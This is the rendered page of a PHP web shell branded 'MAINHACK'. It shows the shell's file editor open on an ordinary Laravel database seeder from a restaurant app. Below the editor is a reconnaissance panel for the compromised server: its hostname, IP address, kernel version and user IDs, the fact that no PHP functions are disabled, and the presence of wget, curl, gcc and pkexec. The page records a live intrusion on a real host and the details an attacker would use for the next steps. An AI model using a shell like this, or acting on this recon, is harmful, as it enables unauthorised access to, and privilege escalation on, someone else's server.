[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SiteTableSeeder.php
<?php namespace Database\Seeders; use App\Enums\Activity; use App\Enums\CurrencyPosition; use App\Models\Currency; use Dipokhalder\EnvEditor\EnvEditor; use Illuminate\Database\Seeder; use Illuminate\Support\Facades\Artisan; use Smartisan\Settings\Facades\Settings; class SiteTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $envService = new EnvEditor(); Settings::group('site')->set([ 'site_date_format' => 'd-m-Y', 'site_time_format' => 'h:i A', 'site_default_timezone' => 'Asia/Dhaka', 'site_default_branch' => 1, 'site_default_currency' => 1, 'site_default_currency_symbol' => '$', 'site_currency_position' => CurrencyPosition::LEFT, 'site_digit_after_decimal_point' => '2', 'site_email_verification' => Activity::ENABLE, 'site_phone_verification' => Activity::DISABLE, 'site_default_language' => 1, 'site_google_map_key' => $envService->getValue( 'DEMO' ) ? 'Fake-map-key' : '', 'site_copyright' => $envService->getValue( 'DEMO' ) ? '© FoodScan by iNiLabs 2025, All Rights Reserved' : '', 'site_language_switch' => Activity::ENABLE, 'site_app_debug' => Activity::DISABLE, 'site_auto_update' => Activity::DISABLE, 'site_online_payment_gateway' => $envService->getValue('DEMO') ? Activity::ENABLE : Activity::DISABLE, 'site_default_sms_gateway' => 0, 'site_food_preparation_time' => "30", ]); $envService->addData([ 'APP_DEBUG' => 'false', 'TIMEZONE' => 'Asia/Dhaka', 'CURRENCY' => 'USD', 'CURRENCY_SYMBOL' => '$', 'CURRENCY_POSITION' => '5', 'CURRENCY_DECIMAL_POINT' => '2', 'DATE_FORMAT' => 'd-m-Y', 'TIME_FORMAT' => 'h:i A' ]); Artisan::call('optimize:clear'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002